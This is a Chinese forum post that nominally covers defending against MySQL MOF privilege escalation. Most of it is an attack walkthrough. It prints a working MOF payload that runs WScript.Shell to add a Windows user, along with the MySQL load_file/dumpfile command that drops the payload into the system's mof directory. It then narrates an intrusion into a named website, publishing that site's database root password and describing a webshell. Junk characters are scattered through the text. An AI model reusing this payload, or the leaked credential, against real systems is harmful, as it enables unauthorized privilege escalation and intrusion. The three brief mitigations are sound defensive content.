Mysql mof扩展漏洞防范方法 M0 R9 M" J. m2 Z5 v: t2 n+ P v
! o% b& d/ m( p& t' h* u网上公开的一些利用代码:8 _4 N* \' y6 g' E2 n
. e9 V) p# M5 b$ j9 Z1 z#pragma namespace(“\\\\.\\root\\subscription”)
2 E, x/ D- r* w8 ]5 d! u. @: D9 S$ `) C: O6 L |
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
5 H5 G; b5 E' Q, F0 A c! G7 z- \7 J9 O; H8 g
9 X4 |7 @$ h, b
: L p3 {( J: D n " \) n" P. }' I4 @7 `- H* G; ~
7 b F7 h0 |# D' l3 B+ d' {连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;4 l: |" j# J. r* }; v0 M& k/ V3 {
从上面代码来看得出解决办法:
$ p6 D$ m' O( a2 d9 k1 Q) }+ U0 c
: a7 z8 a+ t/ G1 E, ~9 A: O& X2 x3 [1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
+ m7 ?- H& c0 s8 Y: n% d$ B2 Y, k$ ]; {' t% ?
2、禁止使用”WScript.Shel”组件( B: N4 ^$ ~% k# ]2 z/ J
8 ^1 w6 R' t# G y4 r3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
8 `- m' G7 x2 C* w6 K# \! n
) o. Q' S% |( S5 S+ J当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
6 b, h a5 C1 c( z# H. i1 n4 K6 ^/ p, y$ }0 p
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权% U8 ^9 M9 Z9 s* A6 V8 ^; ^
. J$ M# W) ~9 r0 w但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容5 e! F6 ?) V b4 Q X6 L
) O) D6 O; g# j! g. X/ H- G看懂了后就开始练手吧. H- O0 k2 `0 u- |: S
+ Z; b; r) w5 u- }) E) \
http://www.webbmw.com/config/config_ucenter.php 一句话 a" a6 P0 y# {$ a7 o
, x% Z* l' \$ U# ?
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
3 U# H. ]8 R ^" o. {4 _9 E
+ q) E$ y/ v; p1 M( \0 s U& A于是直接用菜刀开搞# I; n2 H2 J9 b& k
% s- R2 E- g( }1 P上马先
5 U$ P7 o! M l6 w( F% _" s/ q' N1 `1 |" p* j |
既然有了那些账号 之类的 于是我们就执行吧…….
; W, H& n* Y0 L' q! K4 o4 B# M6 Z# p( E6 Y9 g4 d
小小的说下" u1 _, t: h$ ]; P1 F/ @; R" S
' ]+ }$ I% T/ b. c0 P. f9 j, C
在这里第1次执行未成功 原因未知
1 F5 `: k- ]- r8 L7 \# N9 Z' }- v0 s% r; g0 E5 o5 c
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
- h: d+ [8 [6 l% N7 j5 V5 q0 u, ` i @7 c% X7 R
#pragma namespace(“\\\\.\\root\\subscription”)
. N' ~) v) d7 @% X
6 v6 c6 W- f* B; m+ Dinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };/ H+ K) Q1 z$ p3 K8 u3 T
: a# h2 [5 Z; Q9 C
我是将文件放到C:\WINDOWS\temp\1.mof+ \4 m/ H' X. Z
0 T* k, r( M2 d4 c X3 V2 ~. R3 ~+ }
所以我们就改下执行的代码* l z" W4 b& Y* h E- z
1 i! Z4 D6 q% i- Hselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
0 a8 J( I" ?( U! z
1 F- j2 F9 v& X: R7 m( U; N% k- V0 C
. n# a9 Q" ^6 p/ ?4 K8 W* ~但是 你会发现账号还是没有躺在那里。。
, }- J/ Z- L+ u3 t3 H6 o1 D) B2 `7 Z
于是我就感觉蛋疼
; P& e) j; @9 @
" h% I1 c- U1 y% p, ?, @: w. H就去一个一个去执行 但是执行到第2个 mysql时就成功了………
& ]1 O/ y5 o) _2 H( w/ J+ ]! X
/ n9 b4 u1 D/ i; y: T! f& B" m# d4 J% O. Z
但是其他库均不成功…
. A2 r0 d$ i1 o9 W1 P% ^/ @1 k& f% _4 z
我就很费解呀 到底为什么不成功求大牛解答…& w% ?+ j6 V! s
* m- w: r. c& L& N7 k& }# p8 v c" V
; B! c' x; }% f. d+ k" I& z2 j2 k# p1 b5 L. e. ?
|